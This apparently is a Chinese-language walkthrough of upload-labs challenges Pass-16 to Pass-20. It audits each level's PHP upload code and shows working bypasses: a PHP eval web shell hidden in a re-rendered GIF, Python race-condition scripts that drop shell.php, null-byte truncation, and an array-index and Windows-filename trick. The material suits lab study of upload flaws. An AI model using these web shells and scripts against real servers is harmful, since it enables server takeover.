# 特殊的文件上传漏洞(二)

本章节讲解特殊的文件上传漏洞(二)。

# 绕过图像二次渲染

Pass-16 为例

直接审计源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=UPLOAD_PATH.'/'.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);

if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

这里首先更新一下对于某些 php 代码细节的问题:

①对于 nametmp_name 两个字段的理解

image-20221004110008338

可以看出

  • $_FILES['upload_file'['name'] 获取到的是文件原始名称(不带路径,只有文件名
  • $_FILES['upload_file']['tmp_name'] 则是获取该文件在上传到服务器后的临时文件名(带绝对路径

②UPLOAD_PATH,为什么大写?这是什么东西?

可以在 C:\phpStudyB\WWW\upload-labs-0.1\config.php 中看到如下 宏定义

<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(0);

define("WWW_ROOT",$_SERVER['DOCUMENT_ROOT']);
define("APP_ROOT",str_replace('\\','/',dirname(__FILE__)));
define("APP_URL_ROOT",str_replace(WWW_ROOT,"",APP_ROOT));
//文件包含漏洞页面
define("INC_VUL_PATH",APP_URL_ROOT . "/include.php");
//设置上传目录
define("UPLOAD_PATH", "../upload");
?>

UPLOAD_PATH 是我们自定义的一个宏,它代表着 WWW 根目录下的 upload/ 子目录

③basename () 函数返回路径中的文件名部分

参数 描述
path 必需。规定要检查的路径。
suffix 可选。规定文件扩展名。如果文件有 suffix,则不会输出这个扩展名。
<?php
$path = "/testweb/home.php";

//Show filename with file extension
echo basename($path) ."<br/>";

//Show filename without file extension
echo basename($path,".php");
?>

输出结果
> home.php
> home

这里简单介绍下绕过 basename () 原理:

其实就是匹配最后一个 /(斜杠) ,然后截取 /(斜杠) 右侧的字符串输出

echo basename("index.php/config.php?source");
>> config.php?source

echo basename("index.php/config.php/?source");
>> ?source

在使用默认语言环境设置时,basename () 会删除文件名开头的非 ASCII 字符。

  • 当斜杠右侧的字符 ascii 值为 47、129-255 时,basename 会解析回上一个目录,将其当成文件名输出
    • 例如: http://127.0.0.1/basename_pass/index.php/config.php/%ff?sourcebasename() 会返回 config.php 而不是 ?source
  • 其中 47 对应的符号为’/’,在实际场景中没有利用价值

同时可能还会伴随着 $_SERVER['PHP_SELF'] 的使用, PHP_SELF是输出当前php文件相当于根目录的路径 (不带参数)

#如果当前文件是127.0.0.1/1.php/config.php/aa?source
echo ($_SERVER['PHP_SELF']):
>> /1.php/config.php/aa

好了,言归正传,本题目判断上传文件后缀名,如果满足 jpg、png、gif 则使用 imagecreatefromjpeg () 来生成一个 image 资源

resource imagecreatefromjpeg( string $filename )

参数:该函数接受单个参数 $filename,该参数保存图像的名称。

返回值:成功时此函数返回图像资源标识符,错误时返回 FALSE。

---载入图像
imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像
imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像
imagecreatefromwbmp():创建一块画布,并从 WBMP 文件或 URL 地址载入一副图像
imagecreatefromstring():创建一块画布,并从字符串中的图像流新建一副图像

---输出图像
imagegif():以 GIF 格式将图像输出到浏览器或文件
imagejpeg():以 JPEG 格式将图像输出到浏览器或文件
imagepng():以 PNG 格式将图像输出到浏览器或文件
imagewbmp():以 WBMP 格式将图像输出到浏览器或文件

这个函数比较有意思,会从传入的这个 filename 的文件中 分离出图片的信息 ,将 抛弃非图片的信息

分离后,使用 imagexxx() 函数 二次渲染输出 到浏览器中来显示。

那么,图片马将在此题中失效

我们首先来看一下上传后的图片和原图片的区别:

上传前–> 11111-before.gif

上传后–> 11111-after.gif

将两个文件拖入 winhex

image-20221004125950424

使用 winhex——view——Synchronize & Compare,发现从 0x784 地址后有基本上都不一样,但是前面地址中基本没变过。

image-20221004130104907

因此,绕过思路就是在白色区域(没有变化的区域)中,随便找一个地方,修改十六进制为 <?php @eval($_POST[ABCD]);?>

image-20221004130447210

重命名为: fix-phpimage.gif ,上传抓包

image-20221004131006052

上传成功后下载下来使用 Notepad++ 打开查看,搜索 php,发现一句话木马还在。

image-20221004130716362

使用菜刀连接:

http://www.upload_lab.com/include.php?file=./upload/29139.gif

成功连接

image-20221004130927936

# 利用条件竞争漏洞(1)

Pass-17 为例

阅读源码

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}

依旧是分析主逻辑:

  • 设置白名单, jpgpnggif
  • 获取文件原始名、临时文件(带路径)、文件后缀
  • upload_file上传路径 + / + 文件原始名
  • 判断是否临时文件能成功移动到永久目录
    • 过滤好白名单后缀,设置 img_path上传路径 + / + 随机数 + 时间戳 + . + 后缀
    • 使用 rename() 函数将 upload_file 这个路径 重命名img_path 这个路径

整个 上传后 的过程可以再精简为

  1. move_uploaded_file() 复制
  2. in_array() 判断后缀是否在白名单内
  3. rename() 重命名成随机文件名

在这三步的过程中,如果是通过多个线程来同时进行,会存在 条件竞争 漏洞。

也就是说,总会有那么一种时刻,复制好以后 “还没来得及判断和重命名”,这时就有个请求访问到了我们的上传文件。

所以即使不是 jpgpnggif 也没关系了,只要请求在复制好以后过来访问,就可以访问上传后的文件。

不过有几个事情需要注意:

  • 访问的文件如果是个 php,就可以成功解析执行。
  • 不过由于之后还会因为继续走到步骤 2 判断,这时候 php 文件不满足白名单后缀,所以依旧会被 unlink 删除。

那么我们可以让这个上传 php 在 被访问后被删之前 干如下的事情:

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>

妙啊~

被删之前创建一个 shell.php,保留下来,而里面正好就是一句话木马。

第一个线程池上传 代码:

注意

  • 用到了 hackhttp 库和 Pool
  • 本来的 backdoor.php 中只含有一句话木马,我们需要在抓包时给它替换成 生成shell.php那一句代码
  • 在使用 poolmap 方法的时候,第一个参数为线程要处理函数,第二个参数为处理函数的参数…
import hackhttp
from multiprocessing.dummy import Pool as ThreadPool

def upload(counts):
hh = hackhttp.hackhttp()
raw = """POST /Pass-17/index.php?action=show_code HTTP/1.1
Host: www.upload_lab.com
User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://www.upload_lab.com/Pass-17/index.php?action=show_code
Content-Type: multipart/form-data; boundary=---------------------------31673223865021
Content-Length: 345

-----------------------------31673223865021
Content-Disposition: form-data; name="upload_file"; filename="backdoor.php"
Content-Type: application/octet-stream

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
-----------------------------31673223865021
Content-Disposition: form-data; name="submit"

submit
-----------------------------31673223865021--
"""
code,head,html,redirect,log = hh.http('http://www.upload_lab.com/Pass-17/index.php',raw=raw)
print code

pool = ThreadPool(50)
pool.map(upload,range(10000))
pool.close()
pool.join()

第二个线程池请求访问 代码:

注意

  • 请求的地址为 'http://www.upload_lab.com/upload/backdoor.php
  • 在使用 poolmap 方法的时候,第一个参数为线程要处理函数,第二个参数为处理函数的参数…
import hackhttp
from multiprocessing.dummy import Pool as ThreadPool

def upload(counts):
hh = hackhttp.hackhttp()

code,head,html,redirect,log = hh.http('http://www.upload_lab.com/upload/backdoor.php')
print code

pool = ThreadPool(50)
pool.map(upload,range(5000))
pool.close()
pool.join()

可以看到左边上传成功,右边在请求的时候,会有几次是 200 请求成功的。

image-20221004135312736

再次刷新文件夹,就会有 shell.php 产生

image-20221004135517602

菜刀成功连接。

# 利用条件竞争漏洞(2)

继续看源码:

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}

//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" , ".aaa");

......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){

$ret = $this->isUploadedFile();

if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// if flag to check if the file exists is set to 1

if( $this->cls_file_exists == 1 ){

$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, we are ready to move the file to destination

$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// check if we need to rename the file

if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, everything worked as planned :)

return $this->resultUpload( "SUCCESS" );

}
......
......
......
};

可以分析整体也是分了三个部分:

  1. checkExtension() 检查白名单后缀
  2. move() 复制到永久目录中
  3. renamefile() 重命名

也就是说,总有那么一种时刻,在检查完后缀、move 之后,在重命名之前有个请求一直在访问上传的文件名,令 Apache 去解析它。

这题和前面的题不一样的点在于:

  • 前一题可以直接上传 php 文件,因为它的流程里 move复制 在前, check白名单后缀 在后。

  • 这个题不可以直接上传 php 文件,因为它的流程里 check白名单后缀 在前, move复制 在后。

那么,我们需要先上传可以上传的文件 backdoor.aaa【包含一句话木马】。

var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png", ".aaa" );

可以上传backdoor.aaa

同时我们还知道 Apache 解析文件是对文件名的从后向前开始解析,如果在这个从后向前的过程中出现.php,那么就会将其解析成 php 文件

那么我们可以写成:

backdoor.php.aaa

同样是条件漏洞线程攻击即可生成 uploadbackdoor.php.aaa

image-20221004151006998

附上代码:

第一个线程池上传

import hackhttp
from multiprocessing.dummy import Pool as ThreadPool

def upload(lists):
hh = hackhttp.hackhttp()
raw = """POST /Pass-18/index.php HTTP/1.1
Host: www.upload_lab.com
User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.upload_lab.com/Pass-18/index.php
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------8116162727142
Content-Length: 342

-----------------------------8116162727142
Content-Disposition: form-data; name="upload_file"; filename="backdoor.php.aaa"
Content-Type: application/octet-stream

<?php @eval($_POST["cmd"]);?>
-----------------------------8116162727142
Content-Disposition: form-data; name="submit"

submit
-----------------------------8116162727142--
"""
code,head,html,redirect,log = hh.http('http://www.upload_lab.com/Pass-18/index.php',raw=raw)
print code

pool = ThreadPool(50)
pool.map(upload,range(10000))
pool.close()
pool.join()

第二个线程池请求访问

import hackhttp
from multiprocessing.dummy import Pool as ThreadPool

def upload(lists):
hh = hackhttp.hackhttp()

code,head,html,redirect,log = hh.http('http://www.upload_lab.com/upload/backdoor.php.aaa')
print code

pool = ThreadPool(50)
pool.map(upload,range(15000))
pool.close()
pool.join()

但其实,经过试验后,Pass18 的攻击代码同样也对 Pass19 适用,分析原因是因为:

整体详细点是分了 5 个部分:

  1. isUploadedFile() 判断是否是 POST 请求上传的文件
  2. setDir() 设置路径
  3. checkExtension() 检查白名单后缀
  4. move() 复制到永久目录中
  5. renamefile() 重命名

步骤1步骤2步骤3 之间也相差一段时间,那么完全可以上传 php 文件来进行条件竞争访问,生成 shell.php ,后面就无所谓 backdoor.php 被删除了。

# 利用 00 截断绕过特定检查

依旧看 Pass-19 的源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

//关键漏洞点在以下几句
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

漏洞点在于:

  • 使用 in_array 去黑名单里寻找看是否存在,不存在则继续。
  • 使用 move_uploaded_file 来复制临时文件到永久目录
    • 而永久目录的 file_name 变量来自于 POST 请求的 save_name 参数,这是可控点

绕过如下:

  1. 修改 backdoor.phpbackdoor.jpg 绕过步骤 1
  2. 使用 POST-00截断 ,对 save_name 进行路径截断, 提前解析成php文件 并保存
filename="backdoor.jpg"

233.php+upload-19.jpg

image-20221004152505861

修改为 00

image-20221004152536573

上传成功,菜刀连接即可。

image-20221004152809391

# 利用数组 + windows 特性绕过

直接看源码

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}

首先映入眼帘就是检查了 MIME ,所以我们必须修改 MIMEimage/jpeg 来先绕过 MIME 检查。

接着,开始检查文件名:

  • file 变量要求是一个数组,即使不是也要最后通过 explode 函数以点为分隔符变成 数组
  • ext 变量就是 file 数组中最后一个元素,也就是 ` 文件后缀名。
  • 判断后缀名是否在白名单内,如果在则继续执行
    • 核心: file_name = reset($file) . '.' . $file[count($file) - 1]
    • 意思是 file_namefile数组第一位 + . + file数组最后一位 拼接而成 【开发者只考虑了普通的 xxx.jpg 这样只有两个元素数组的情况】
    • file数组 可以由可控变量 save_name 而来, save_name 可以一开始就是 数组

那么,我们就可以一一来绕过:

修改 MIME

Content-Disposition: form-data; name="upload_file"; filename="backdoor.php"
Content-Type: image/jpeg

image-20221004155043004

修改可控变量 save_name ,使其变成 save_name[] 数组,我们自定义两个元素(分别是 save_name[0]save_name[2]

  • 由于只设置了数组的 2个元素 ,所以数组长度 count($file)2
  • 由于 reset($file) 输出的是 save_name[0] ,因此, reset($file) — 会输出 —> 33322.php
  • 由于 $file[count($file) - 1] 输出的是 save_name[2 - 1] (我们并没有设置),因此, $file[count($file) - 1] ---- 会输出 —>
-----------------------------6270582926777
Content-Disposition: form-data; name="save_name[0]"

33322.php
-----------------------------6270582926777
Content-Disposition: form-data; name="save_name[2]"

jpg

save_name[1] 不用设置,目前的情况正好能使得

$file_name = reset($file) . '.' . $file[count($file) - 1];
输出
33322.php.空

而在 windows 中,空和点作为结尾,会直接删除,从而保留 33322.php

image-20221004160021961

正常解析访问,菜刀也可正常连接。

image-20221004160109151